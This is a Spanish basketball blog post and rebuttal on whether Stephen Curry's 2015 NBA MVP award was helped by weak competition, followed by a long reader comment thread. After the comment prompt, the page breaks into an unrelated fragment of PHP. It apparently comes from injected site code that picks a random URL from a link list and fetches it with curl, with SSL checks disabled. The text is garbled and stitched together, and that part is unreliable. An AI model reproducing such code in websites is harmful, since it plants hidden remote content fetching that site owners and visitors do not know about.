Stephen Curry MVP 2015…¿aprovechando un vacío de poder?

04 de May de 2015 por Viva_Dirk

por Viva_Dirk

Stephen Curry ha sido elegido MVP de la temporada 2014-2015 por delante de James Harden. Lejos, en tercera posición, queda LeBron James. Curry se alza con un merecidísimo premio: los Warriors han sido el mejor equipo de la temporada y Curry es el alma de los Warriors. Esa ventaja colectiva ha resultado definitiva en su pelea contra James Harden, ya que los 23.8 puntos, 4.3 rebotes, 7.7 asistencias y 2 robos por partido, con porcentajes del 48.7% en tiros de campo y un brutal 44.3% en triples de Curry están por debajo de los 27.4 puntos, 5.7 rebotes, 7 asistencias y 2 robos, con porcentajes del 44% en tiros y del 37.5% en triples de Harden. Ambos han llevado a cabo las mejores temporadas de su carrera, y al igual que Curry le ha tomado ventaja con el colectivo a Harden, ambos han hecho lo mismo con Anthony Davis o Russell Westbrook. A LeBron no se le ha visto muy interesado en el premio, más preocupado a estas alturas por formar un equipo campeón en Cleveland. Otro hecho que hace mayor la aceptación del premio para Curry es un estilo de juego que es una maravilla para el espectador y un talento innato que le sale a borbotones.

Así pues nos encontramos ante un MVP que, como ya hemos dicho, es totalmente merecido, pero al mismo tiempo se encuentra entre los galardonados de menos nivel no sólo de los últimos años sino de la historia. De los pocos comparables ‘por abajo’ vemos el recibido por Derrick Rose en 2011. Con esto no quiero quitarle ningún merito a Curry, sino hacer ver que una temporada como la suya no habría recibido el MVP en ninguna otra temporada salvo en la ya nombrada anteriormente. Sus cifras, sumadas al número de victorias de su equipo, no le habrían dado para pelearle el premio en plenitud a tipos como Duncan, Garnett, Bryant, O’Neal o tantos y tantos otros. De hecho hay muchas temporadas mejores que la de Curry que no recibieron el MVP e incluso no estuvieron en el mejor quinteto, como Chris Webber en 2002, Shaq en el 94 y otros múltiples ejemplos que no nombraremos con números y temporadas de escándalo que se vieron eclipsados por otros aún mejores.

En una temporada donde LeBron ha iniciado un nuevo proyecto, Durant ha estado lesionado, Davis está en plena progresión y aún sin un equipo que lo acompañe, Stephen Curry ha aprovechado para alzarse con un trofeo que a otros con mayores méritos se les negó por una competencia mucho mayor. Como para todo en la vida, además de ser un auténtico crack, tienes que tener suerte para ganar un MVP de la NBA.

La réplica

por TheDeerHunter

Vaya por delante que respeto demasiado este premio. Veo tan monstruosamente difícil lograrlo que jamás se me ocurriría poner algún “pero” a quien lo haya merecido y en este último punto lo hubiera dado por bueno también si se lo hubiera llevado Harden. Muchos son los que lo merecieron y no lo lograron pero todos los que lo lograron lo merecieron. Grandes dominadores como Shaq, Duncan, Kobe han sufrido verdaderas dificultades para llevárselo a casa. Otros ilustres se quedaron muy lejos de aspirar a ganarlo.

El concepto “Most valuable player” es, por definición, muy discutible y se tienen en cuenta diversas variables que, además, pueden ser cambiantes. Es un hecho que no siempre el jugador con mayor producción numérica ha sido el galardonado. Incluso el mejor jugador del momento ha visto en numerosas ocasiones cómo se lo dan a otro porque sencillamente alguien ha entendido que había que actuar así. Se ha llegado a dar el caso, por ejemplo, que el MVP no entraba en el quinteto ideal porque se entendía que el mejor jugador en la misma posición que el elegido era otro, pero que él era en efecto el jugador más valioso del campeonato. Léase Bill Russell, sin pensar mucho. Sus números jamás fueron superiores a los de Wilt Chamberlain y sin embargo pocos dudan que fue en muchas ocasiones más valioso que éste último. Me entra la risa floja pensando que alguien pudiera afirmar sin rubor que los MVPs de Russell fueron en modo alguno por “vacío de poder”.

Los valores que han encumbrado a Curry, y esto es un análisis muy personal, son tanto cuantitativos como cualitativos. Cuantitativamente puede ser cierto que no son números “escacharrantes” y en ese sentido efectivamente no es uno de los MVPs más brillantes con el que nos hayamos topado. Sin lugar a dudas Curry ha aprovechado los incontestables resultados colectivos de un equipo extremadamente potente. También de un excelente nivel de juego desde el punto de vista estético marcado principalmente por su aportación.

Lo que en mi opinión es una faceta fascinante y le coloca a la altura de cualquier otro MVP es la pasmosa facilidad (así, con subrayado) con la que Curry ha hecho todo lo que ha hecho esta temporada. Lo que le ha venido en gana, viene a ser. Paradójicamente da la sensación que buscar este premio es una de las cosas que no ha hecho. “El artista” ha salido cada noche a pista como un simple transmisor de un flujo. Cada jugada, cada pase, bote o lanzamiento ha resultado natural, como el sudor, el aire o el sonido de las zapatillas sobre el parquet. No entraré en términos de generosidad/egoísmo porque se intuye que no son parámetros que el jugador contempla. Simplemente él ha salido en todo momento a disfrutar con otros cuatro fulanos de turno. Haciéndoles mejores a todos, como se dice que debe de ser un buen base. Uno imagina que si por una de aquellas el jugador se propusiera ganar un premio así, no tendría ni el más mínimo problema en anotar 30 o 35 puntos cada noche sin pestañear y repartir 10 o 12 asistencias sencillas. Quién sabe si no lo ha hecho por “vacío de poder”. Lo único que yo sé es que, de haberlo hecho, no sería Stephen Curry.

Por “el artículo 34 30″ que diría Andrés…

Comenta

42 comentarios a esta entrada

  1. charlestone dice:
    #1

    Bueno, yo, personalmente, me alegro. Da gusto verle jugar y ha sido la principal atracción con Harden, Davis y los últimos números de Westbrook en la parte final. Davis y Westbrook por distintas razones no creo que optaban. Harden, pues ahí ha estado pero me sigue pareciendo justo (si hubiese ganado The Beard sí que habría chirriado un poco más). Son las sensaciones más allá del récord del equipo, ha sido el mejor, para mí, sin discusión. Evidentemente con Lebron y Durant sin presentar candidatura (en el caso de Lebron, ha hecho tanto, sabemos de lo que es capaz que su exigencia también es mayor), Davis madurando en barrica de roble americano y Westbrook esperando un último hervor…Curry y, especialmente, Harden lo tendrán difícil. En el caso de Harden a pelear con Anthony por el máximo anotador y Curry, pues Curry a seguir deleitándonos con su swing y a rezar por sus tobillos. Ahora a por el anillo!!!

      Citar

  2. Jose Luis dice:
    #2

    Grande viva 🙂

      Citar

  3. iker dice:
    #3

    madre mia lo hay que leer, que es el peor mvl de la historia. en serio? tu mucho no has visto a curry. que no tiene el nivel de otros mvps? no has visto jugar a curry definitivamente. es el jugador mas estético de toda la competición. el mas completo técnicamente. que 23,8 7,8 4,3 y 2 son pocos numeros? en 32 minutos? con un 48% en TC, un 44% en triples y un 91% en TL? en serio, no tienes ni idea, no te cae bien y punto. si hubiera jugado los 38 minutos que juegan harden o Lebron no crees que sus números serian mejores? pero como han arrasado, repito arrasado no le ha hecho falta jugar mas. solo hay que ver que en playoff esta promediando mas de 30 por partido, que es lo que hubiera hecho si se hubiera comportado como harden y se hubiera tirado hasta las zapatillas toda la temporada.

      Citar

  4. jonnyy dice:
    #4

    Curry ha jugado de los 80 partidos 3 cuartos en 70, lo que hay que leer. No ha hecho mejores números sencillamente porque no lo ha necesitado ni le ha dado la gana, Gsw ha arrasado en toda la temporada con Curry a medio gas porque no ha hecho falta más.

      Citar

  5. txusma dice:
    #5

    iker:
    madre mia lo hay que leer, que es el peor mvl de la historia. en serio? tu mucho no has visto a curry. que no tiene el nivel de otros mvps? no has visto jugar a curry definitivamente. es el jugador mas estético de toda la competición. el mas completo técnicamente. que 23,8 7,84,3 y 2 son pocos numeros? en 32 minutos? con un 48% en TC, un 44% en triples y un 91% en TL? en serio, no tienes ni idea, no te cae bien y punto. si hubiera jugado los 38 minutos que juegan harden o Lebron no crees que sus números serian mejores? pero como han arrasado, repito arrasado no le ha hecho falta jugar mas. solo hay que ver que en playoff esta promediando mas de 30 por partido, que es lo que hubiera hecho si se hubiera comportado como harden y se hubiera tirado hasta las zapatillas toda la temporada.

    Salgo a defender a mi compañero no porque esté totalmente de acuerdo con él sinó porque no me gustan frases del estilo “no tienes ni idea”.
    De la misma manera que dices que Curry con 38 minutos jugados hubiera hecho mucho mejores números te puedo responder que si hubiera jugado 38 minutos cada día, a lo mejor, él que es de físico frágil, quizá se hubiera lesionado a los 2 meses. No podemos ponernos a teorizar sobre lo que habría hecho o lo que habría dejado de hacer Curry jugando cierto números de minutos. Nos centramos en que ha jugado 32 porque los Warriors han arrasado o pq Keer ha visto que si le forzaba más a lo mejor lo acaba rompiendo un día, vete tu a saber.
    La cuestión es que ha promediado los números que ha promediado y ha dejado las sensaciones que ha dejado y a partir de ahí Viva tiene todo el derecho del mundo a opinar que otros años ha habido jugadores con mejor números y sensaciones tan increibles como las que nos ha dejado Curry, que no han ganado un MVP. O ya no nos acordamos de lo que era Chris Webber en 2002 o Shaquille O’Neal en el 1994?

      Citar

  6. jonnyy dice:
    #6

    iker:
    madre mia lo hay que leer, que es el peor mvl de la historia. en serio? tu mucho no has visto a curry. que no tiene el nivel de otros mvps? no has visto jugar a curry definitivamente. es el jugador mas estético de toda la competición. el mas completo técnicamente. que 23,8 7,84,3 y 2 son pocos numeros? en 32 minutos? con un 48% en TC, un 44% en triples y un 91% en TL? en serio, no tienes ni idea, no te cae bien y punto. si hubiera jugado los 38 minutos que juegan harden o Lebron no crees que sus números serian mejores? pero como han arrasado, repito arrasado no le ha hecho falta jugar mas. solo hay que ver que en playoff esta promediando mas de 30 por partido, que es lo que hubiera hecho si se hubiera comportado como harden y se hubiera tirado hasta las zapatillas toda la temporada.

    Esta claro que lo que es partidos de GSW no ha visto más de 5

      Citar

  7. Triceratops dice:
    #7

    jajaja Gran articulo con réplica incluida.

    Para mi el MVP es Westbrook. No se cuantos triples dobles, completando noches históricas, números de otros tiempos y tirando noche tras noche de un equipo plagado de bajas y casi metiendolos en Playoffs en el salvaje oeste.

    Después, antes que Curry meto a Harden, colocar a los Rockets 2º del Oeste lo veo mas meritorio que acabar primero con los Warriors en un equipo completisimo como el de los californianos.

    No obstante, mi opinión es menos valida y acertada que la de muchos dioses del baloncesto que comentan por aqui y que lo saben todo 🙂

      Citar

  8. Jose Luis dice:
    #8

    Para mi, por sensaciones, por highlights, Curry es MVP. Por como juega y hace jugar, por las victorias del equipo, y porque es el mejor jugador de GSW, Curry es MVP indiscutible.

    ¿Estadísticamente un poco flojo? probablemente. Un equipo muy completo y que ha apalizado mucho. Cierto que si no ha jugado más puede ser también por las lesiones.

    Haceos esta pregunta: en prácticamente cualquier otro equipo de PO, ¿Curry sería MVP y jugaría tal cual juega? Ponlo en los Rockets, por Harden. O en los Thunder, por Westbrook. O en los Bulls, por Rose. Dudo mucho que hubiera sido MVP.

    Pero en años anteriores, Lebron, Durant, Rose, Bryant… para mi si, probablemente lo hubieran sido en prácticamente cualquier otro equipo de PO.

      Citar

  9. TheDeerHunter dice:
    #9

    txusma: Salgo a defender a mi compañero no porque esté totalmente de acuerdo con él sinó porque no me gustan frases del estilo “no tienes ni idea”.

    +1. Creo que no es tan difícil entender los argumentos de mi compañero Viva_Dirk. Al menos en parte da en el clavo.
    Y digo más… Doy fe que se ha chupado unos cuantos muchos más de Curry y de casi todos los demás que hay que tener en cuenta.
    Si todos estamos de acuerdo siempre coñazo de blog.

      Citar

  10. iker dice:
    #10

    jonnyy: Esta claro que lo que es partidos de GSW no ha visto más de 5

    de echo he visto solo los últimos 5 partidos de curry, los 5 de playoffs en los que ha despachado a los pelicans y a grizzlies

      Citar

  11. iker dice:
    #11

    txusma: Salgo a defender a mi compañero no porque esté totalmente de acuerdo con él sinó porque no me gustan frases del estilo “no tienes ni idea”.
    De la misma manera que dices que Curry con 38 minutos jugados hubiera hecho mucho mejores números te puedo responder que si hubiera jugado 38 minutos cada día, a lo mejor, él que es de físico frágil, quizá se hubiera lesionado a los 2 meses. No podemos ponernos a teorizar sobre lo que habría hecho o lo que habría dejado de hacer Curry jugando cierto números de minutos. Nos centramos en que ha jugado 32 porque los Warriors han arrasado o pq Keer ha visto que si le forzaba más a lo mejor lo acaba rompiendo un día, vete tu a saber.
    La cuestión es que ha promediado los números que ha promediado y ha dejado las sensaciones que ha dejado y a partir de ahí Viva tiene todo el derecho del mundo a opinar que otros años ha habido jugadores con mejor números y sensaciones tan increibles como las que nos ha dejado Curry, que no han ganado un MVP. O ya no nos acordamos de lo que era Chris Webber en 2002 o Shaquille O’Neal en el 1994?

    también te digo que he visto partidos de houston que ganaban de mucho en el ultimo cuarto y harden los ha jugado hasta el final para meter mas puntos e intentar ser el máximo anotador del campeonato. y seguramente si los warriors no hubieran arrasado curry hubiese jugado mas minutos. hace poco leí que no ha jugado 17 últimos cuartos en toda la temporada.. en cuanto a lo de la fragilidad, puede que en sus primeros años e lesionase dos veces de sus tobillos pero en las ultimas cuatro temporadas, cuando cambio nike por under armour, apenas se ha perdido partidos y si se los ha pedido ha sido por lesiones leves. hace dos años se lesiono enplayoffs y todavía recuerdo como estando cojo metio 20 puntos en un tercer cuarto.

      Citar

  12. Jose_Dantley dice:
    #12

    Curry está muy por encima de Iverson (ese seguramente será casi el peor del siglo) y por encima de alguno más como uno de Nash al menos y el de Rose, sólo tirando de memoria, pero es cierto que si en lugar de dar el MVP del año, damos el MVP del siglo XXI, dudo que este Curry apareciera en el top-25. Eso sí, como MVP, sea Harden o él es muy merecido.

    A los que opináis que Curry no ha jugado más porque no ha querido, ¿exactamente en qué os basáis? ¿algún estudio psicológico? ¿quizá ha pensado que no era oportuno ganar 75 partidos para no levantar la liebre?

    Resumen: Curry MVP, me parece más que razonable. Temporadón de Curry: sí. Mola: Brutalmente. Por debajo de la mayoría de MVPs de los últimos 15 años: Sí. Así que ventaja Viva.

      Citar

  13. Viva_Dirk dice:
    #13

    iker:
    madre mia lo hay que leer, que es el peor mvl de la historia. en serio? tu mucho no has visto a curry. que no tiene el nivel de otros mvps? no has visto jugar a curry definitivamente. es el jugador mas estético de toda la competición. el mas completo técnicamente. que 23,8 7,84,3 y 2 son pocos numeros? en 32 minutos? con un 48% en TC, un 44% en triples y un 91% en TL? en serio, no tienes ni idea, no te cae bien y punto. si hubiera jugado los 38 minutos que juegan harden o Lebron no crees que sus números serian mejores? pero como han arrasado, repito arrasado no le ha hecho falta jugar mas. solo hay que ver que en playoff esta promediando mas de 30 por partido, que es lo que hubiera hecho si se hubiera comportado como harden y se hubiera tirado hasta las zapatillas toda la temporada.

    Esta vez voy a contestarte educadamente, pero no prometo lo mismo la siguiente que vez que digas que ‘no tengo ni idea’, aquí ese tipo de comentarios sobran.

    He visto muchos partidos de Curry, creo que es merecedor del MVP de la temporada, estéticamente es una pasada verlo jugar, GSW ha arrasado con el jugando los minutos que sea y eso ni suma ni resta a la hora de conceder un MVP.

    Ahora te pregunto yo a ti, viste a T-Mac a principio de siglo? A Chris Paul en 2008 y 2009? A Kobe meter 35 por noche? Son tipos que quedaron cuartos o quintos en las votaciones por el MVP con campañas mejores que la de Curry, y no me refiero solo a mejores estadisticamente, sino mejores en cuanto a que eran jugadores ‘más valiosos’ para sus equipos de lo que Curry era este año para los Warriors, porque como tu mismo has dicho, los Warriors no han necesitado que Curry estuviera 38 minutos en pista como otros años para arrasar, y aquellos equipos necesitaban burradas de esos jugadores para hacer lo que hicieron.

    Así que en ningún caso es un ataque a Curry, en todo caso es un ataque al nivel de estrellas que hemos visto este año en la RS, que ha sido indiscutiblemente menor al del 95% de los años anteriores.

      Citar

  14. TheDeerHunter dice:
    #14

    Hablando del nivel de estrellas y obviando lo más posible los números. ..
    Atendiendo exclusivamente a esta campaña…Podemos concluir cualitativamente q curry es peor anotador q alguien?
    Es peor pasador q alguien? Peor distribuidor? Hablo a nivel histórico…
    Exactamente ¿en q concretamente ha sido peor a otros mvps sin haber referencia explícita a los números?

      Citar

  15. Jose_Dantley dice:
    #15

    TheDeerHunter:
    Hablando del nivel de estrellas y obviando lo más posible los números. ..
    Atendiendo exclusivamente a esta campaña…Podemos concluir cualitativamente q curry es peor anotador q alguien?
    Es peor pasador q alguien? Peor distribuidor? Hablo a nivel histórico…
    Exactamente ¿en q concretamente ha sido peor a otros mvps sin haber referencia explícita a los números?

    Haz un top-25 temporadas de lo que va de siglo. No top-15 jugadores, sino top-15 jugador + temporada, es decir, tipo que LeBron, Kobe, Duncan … probablemente aparezcan más de una vez. ¿De verdad que aparece Curry en ese top-15? Digo top 15 porque van 15 años de siglo.

    Digo Deer, pero cualquiera de los que defienden el nivel estratosférico de Curry respecto a otros MVP que lo intente. Me gustaría ver si lo conseguís y a quién dejáis fuera.

    Por lo demás, no deja de ser una discusión extraña. Todos creemos que es un jugador increíble, con unas cualidades impresionantes y de los que más gusta ver jugar.

      Citar

  16. Jose_Dantley dice:
    #16

    top-15 me refería en el anterior.

      Citar

  17. Triceratops dice:
    #17

    Y digo yo….que eligan a Curry como MVP , ¿no es muestra de que el nivel de la NBA está bastante bajo respecto a la decada de los 90 y principio de los 00?

      Citar

  18. Jose Luis dice:
    #18

    Ni top 15 ni top 25 dantley. Si contamos jugadores que no se han llevado MVP, probablemente ni top30

      Citar

  19. Jose Luis dice:
    #19

    Triceratops:
    Y digo yo….que eligan a Curry como MVP , ¿no es muestra de que el nivel de la NBA está bastante bajo respecto a la decada de los 90 y principio de los 00?

    Quizá este año haya estado un poco deslucido

    Durant lesionado, Lebron aprendiendo a jugar en un nuevo equipo, Bryant no esta, Wade tampoco está ya. Rose volviendo de lesión. Westbrook sobreexplotado, Un juego coral que cada vez se extiende más (Hawks, Raptors, Grizzlies, Spurs, Dallas). De los demás… bueno, solo quedan CP3, Griffin, Harden. Si os ponéis, Anthony Davis.

      Citar

  20. dunc dice:
    #20

    Triceratops:
    Y digo yo….que eligan a Curry como MVP , ¿no es muestra de que el nivel de la NBA está bastante bajo respecto a la decada de los 90 y principio de los 00?

    O que como dice Jose Luis, el estilo de la nba este variando un poco hacia primar el equipo y no las megaestrellas individuales, lo cual a mi modo de parecer es beneficioso.

      Citar

  21. Sancho88 dice:
    #21

    Me inclino más a pensar como Deer. Creo que está bastante claro que Curry no ha metido 27-28 puntos por partido porque ha jugado 32 minutos. Si en 32 minutos mete 24 puntos y su equipo gana de 20, que necesidad hay de sacarle en el último cuarto? Eso no le quita mérito a sus machadas, a sus triples imposibles, a sus ‘roturas’ de cadera a los rivales que nos hacen quedarnos maravillados ante su juego. No soy el principal admirador de Curry porque soy más del modelo de base Nash y Stockton, pero no se puede negar que Curry es la evolución de lo que ahora se llama un ‘combo guard’, es decir, un base que no solo se dedica a distribuir sino que puede hacer las funciones de un escolta. Curry principalmente se merece el premio porque ha sido muy superior a sus defensores, y porque la sensación es de que nadie ha podido pararle hasta el momento. Harden sí parece que va más a buscar el premio, a forzar hasta el último minuto e hinchar sus estadísticas. Es un jugador muy diferente a Curry, más depredador, menos estético, pero igual de efectivo.

    No sé, es cuestión de gustos y da la sensación de que si se lo hubieran dado a Harden tampoco habría sido injusto, pero que al no haber sucedido así, parece que se hace injusticia con él. Pienso como han dicho muchos fans que el MVP esta temporada debería haber sido compartido entre Curry y Harden, me parece lo más justo. Y la segunda parte de temporada de Westbrook también debería llevarse un premio, quizá el de aparecer en el quinteto ideal.

    Esa es mi opinión con respecto al premio. Y con respecto a la comparación histórica, pues no sé muy bien qué decir. Quizá este Curry de 24 puntos se queda lejos del Kobe de los 35 que quedó cuarto, pero Viva, ya que destacas los porcentajes de Curry esta temporada, también hay que decir que ese Kobe tiraba 10 veces más a canasta (27 por 17 intentos de Curry) evidenciando una falta de equipo muy serio en aquellos Lakers. Los porcentajes en este caso son buenos en ambos, aunque el de los triples de Curry es simplemente brillante, pero la sensación es que estamos mutando a una NBA en la que cada vez se tiene más en cuenta el factor equipo y no el factor superestrella anotadora que fue Kobe, que por supuesto fueron T-Mac y Iverson, Vince Carter, o que ahora han heredado Carmelo Anthony o James Harden.

    Parece que el fan se ha cansado de los maquillajes, y por el contrario, valora cada vez más el estilismo, la forma en que se consiguen los números y el impacto de estos números en el equipo. Asi que no podemos olvidar el factor ‘social media’ aquí. Casi todos los días que abrías el Facebook, a los que somos seguidores de la página de NBA.COM en Facebook nos aparecían todas las ‘meadas’ nocturnas de Curry, hasta llegar a parecer ‘cliffhangers’ unas de otras, o pensar… ¿esto sucedió anoche o lleva pasando toda la temporada? Y en relación el número de jugadones historicos de Harden ha sido inferior, aunque recuerdo un ‘crossover’ que le hizo precisamente a mis Kings que fue mortal de necesidad.

    En cualquier caso está claro que el fenómeno fan ha pesado mucho a la hora de adjudicar este premio. Desde la llega de Pau, Nowitzki, pero sobre todo Yao Ming a la NBA, el espectáculo se valora cada día más, y es por esta razón que el MVP se ha decantado por Curry pienso yo. Y los Warriors tienen muchísimo peso en China, los Rockets también, y creo que esto también tiene un peso importante en la elección del MVP.

    Para resumir, en general a la pregunta de si es justo MVP, diré que SÍ, pero podría haber sido compartido con Harden o el propio Harden MVP y habría sido igual de justo.

    A la pregunta si esta lejos de otros MVP’s históricos, diré también que sí, como es obvio, porque como bien dice Deer, Curry no ha ido a buscar el premio y se lo ha encontrado en el camino porque simplemente es una maravilla de jugador y ha completado una campaña increíble para los Warriors.

    No sé, el debate parece que va para largo. Eso sí, creo que sobran comentarios como los de iker o denise, no aportan nada al debate porque Viva y Deer doy fe que saben lo que están hablando

    Saludos

      Citar

  22. Jose Luis dice:
    #22

    A mi un MVP para Harden me hubiera parecido injusto. Este año era de Curry.

      Citar

  23. Viva_Dirk dice:
    #23

    TheDeerHunter:
    Hablando del nivel de estrellas y obviando lo más posible los números. ..
    Atendiendo exclusivamente a esta campaña…Podemos concluir cualitativamente q curry es peor anotador q alguien?
    Es peor pasador q alguien? Peor distribuidor? Hablo a nivel histórico…
    Exactamente ¿en q concretamente ha sido peor a otros mvps sin haber referencia explícita a los números?

    Si y si, jeje. Curry es peor anotador que unos cuantos y peor pasador que otros tantos. Es peor que el 99% de los MVPs en defensa, y según vuestro propio argumento los Warriors no han necesitado que el juegue al 100% en bastantes partidos, por lo que directamente no ha sido tan valioso como otros fueron para sus equipos.

      Citar

  24. Blade Petrovic dice:
    #24

    Currry ha hecho un temporadón, pero creo que si le dieran el MVP a Harden tampoco hubiera cantado mucho, porque poner a los Rockets con +55 victorias con la plantilla que tienen. Creo que es Denise el que se lo daría a Westbrook. Esto me recuerda a Arenas de la 2006-2007 29 ppp y al segundo quinteto o Kobe y sus 35 ppp, yo creo que al MVP le hace falta tener un buen equipo, sino podriamos darles el Most Individual Player.

      Citar

  25. TheDeerHunter dice:
    #25

    Lanzo una pregunta q creo q viene a cuento. ..
    ¿Porqué todos consideramos a los spurs del año pasado como uno de la campeones más brillantes q ha existido?
    ¿Es porque firmaron números significativamente mejores q la mayoría de campeones? No imagino a nadie consultandolo siquiera. ..
    ¿Es porque no nos vienen a la cabeza equipos campeones e incluso no campeones q imaginamos podrían ganar incluso con facilidad a esos spurs?
    ¿Es porque el nivel de sus rivales era indiscutible?

    Me parece una comparación muy válida atendiendo a las variables q se han manejado.

    Recientemente alguien señaló q la estadística a 36 min era de las mejores de la historia. Eso también da una pista cualitativa…

    No voy a ponerme a buscar contraejemplos q volverían a girar exclusivamente en los números. Curry anota cualitativamente como el mejor obviando los interiores y los q lanzan mucho más. No veo q pase peor q los q firman 15 asistencias simplemente por un sistema diferente de juego, no veo q distribuya peor q nadie q yo haya visto. .. Su temporada para mi está a la altura de los mejores mvps bases de la historia exceptuando las anomalías. Ni una sola pega observo q no sea exogena al jugador. ..y eso para mi no es un factor en este caso

      Citar

  26. Viva_Dirk dice:
    #26

    Llegamos al fondo de la cuestión, para mi los Spurs 2014 no son uno de los campeones más brillantes ni de lejos.

    Curry no tiene los registros anotadores de Jordan, Kobe, Bird o Furant. Ni controla el juego como Stockton o Marc Jackson, ni es tan buen pasador como Magic, Nash o Kidd.

    Y no he oído aún la palabra defensa en tus argumentos.

      Citar

  27. Jose Luis dice:
    #27

    Viva_Dirk:
    Llegamos al fondo de la cuestión, para mi los Spurs 2014 no son uno de los campeones más brillantes ni de lejos.

    Curry no tiene los registros anotadores de Jordan, Kobe, Bird o Furant. Ni controla el juego como Stockton o Marc Jackson, ni es tan buen pasador como Magic, Nash o Kidd.

    Y no he oído aún la palabra defensa en tus argumentos.

    Para mi tampoco son uno de los campeones más brillantes. Ni por números ni por sensaciones.

      Citar

  28. txusma dice:
    #28

    Nos vamos a meter en dobles debates pero… los Miami Heat de 2013 sí serían uno de los campeones más brillantes? Por saber de qué hablamos.

      Citar

  29. dunc dice:
    #29

    Para mi si.

    Pero por el estilo de juego. Yo concibo esto como un juego de equipo, no como una lucha de estrellas unas contra otras.

    Por lo tanto para mí el anillo del año pasado de los Spurs si es uno de los más brillantes que recuerdo por el modo en el que se consiguió. No recuerdo una demostración de juego de equipo así desde que veo baloncesto.

      Citar

  30. TheDeerHunter dice:
    #30

    Llegados a este punto lo q está claro es q no vamos a ponernos de acuerdo jamás.

      Citar

  31. Josgel dice:
    #31

    Yo lanzo dos preguntas al este debate.

    ¿Cual será el mejor quinteto para vosotros?

    ¿En la fantasy del año que viene en el número 1 cogemos a Curry o no?

      Citar

  32. Romino dice:
    #32

    Curry-westbrook-harden-lebron-davis

      Citar

  33. Jose Luis dice:
    #33

    Josgel:
    Yo lanzo dos preguntas al este debate.

    ¿Cual será el mejor quinteto para vosotros?

    ¿En la fantasy del año que viene en el número 1 cogemos a Curry o no?

    El mejor quinteto, o el quinteto del año de la NBA?

    supongo que lo segundo

    Curry-Westbrook-Harden-James-Davis… mmm me cuesta meter alguien ahi. Si acaso Griffin.

      Citar

  34. Viva_Dirk dice:
    #34

    Más brillante para mi significa que son uno de los mejores equipos de la historia, y para mi no.

      Citar

  35. Futurman dice:
    #35

    Por partes: los Spurs de Duncan son una dinastía, ergo un equipo de leyenda. ¿Cuántos equipos tienen los anillos de estos? …3, Bulls de Jordan, Lakers y Celtics. El año pasado y siempre, en RS iba tranquilos, pero las finales que se marcan son espectaculares.

    Curry se merece el MVP de este año para mi, sin quejas, mejor jugador del mejor equipo (uno que le saca 10 victorias al segundo). El barbas es bueno pero no me gusta. Lebron estaba relajado (pese a ser el mejor jugador), Durant roto, Westbrook y Davis … en equipuchos.

    Y el quinteto está jodido construirlo por que hay demasiados bases que han jugado bien y alguno se tiene que quedar fuera (CP3, pese a ser el mejor base para mi). Yo haría un quinteto a lo USA en el mundial: Curry, West, Harden, Lebron y LeBrow.

    Paz y amor.

      Citar

  36. Viva_Dirk dice:
    #36

    Si y no. Los Spurs de Duncan&Popovich son un equipo de leyenda, pero los de 2014 no tienen nada que ver con los de 2003 que eran bastante mejores.

    Y repito que no tengo queja alguna del MVP a Curry.

      Citar

  37. TheDeerHunter dice:
    #37

    Brillante según la rae: admirable o sobresaliente en su línea. …es decir los spurs.

      Citar

  38. txusma dice:
    #38

    Comparar equipos históricos sí que escapa totalmente a mis facultades. Alguien decía que los Miami Heat de 2013 sí que eran un equipo brillante. Pues los “no” brillantes Spurs estuvieron a un triple de Ray Allen de tumbarlos. Me lo expliquen.

      Citar

  39. Viva_Dirk dice:
    #39

    Si con brillante te refieres a eso ok, pero entonces no tiene nada que ver con el debate que aquí estamos teniendo.

      Citar

  40. TheDeerHunter dice:
    #40

    Q no tiene nada q ver la excelencia con el nivel de un mvp? ????

      Citar

  41. HisRoyalAirness dice:
    #41

    Voy a intervenir, que hace mucho que no me prodigo por estos lares.

    Si hablásemos de estadística pura el MVP sería para Davis o Westbrook, con lo cual nadie estaría de acuerdo.s

    Por otra parte, es absurdo el argumento de “si Curry jugase los 38 minutos de Lebron o Harden.”. Si el MVP se diese en función de eso, de la producción por minuto jugado, Duncan habría sido MVP los últimos 15 años.

    Creo que por sensaciones el MVP es más que justo, y por repercusión en los resultados de su equipo. Pero sólo faltaba que no fuese debatible

      Citar

  42. Romino dice:
    #42

    Amen

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>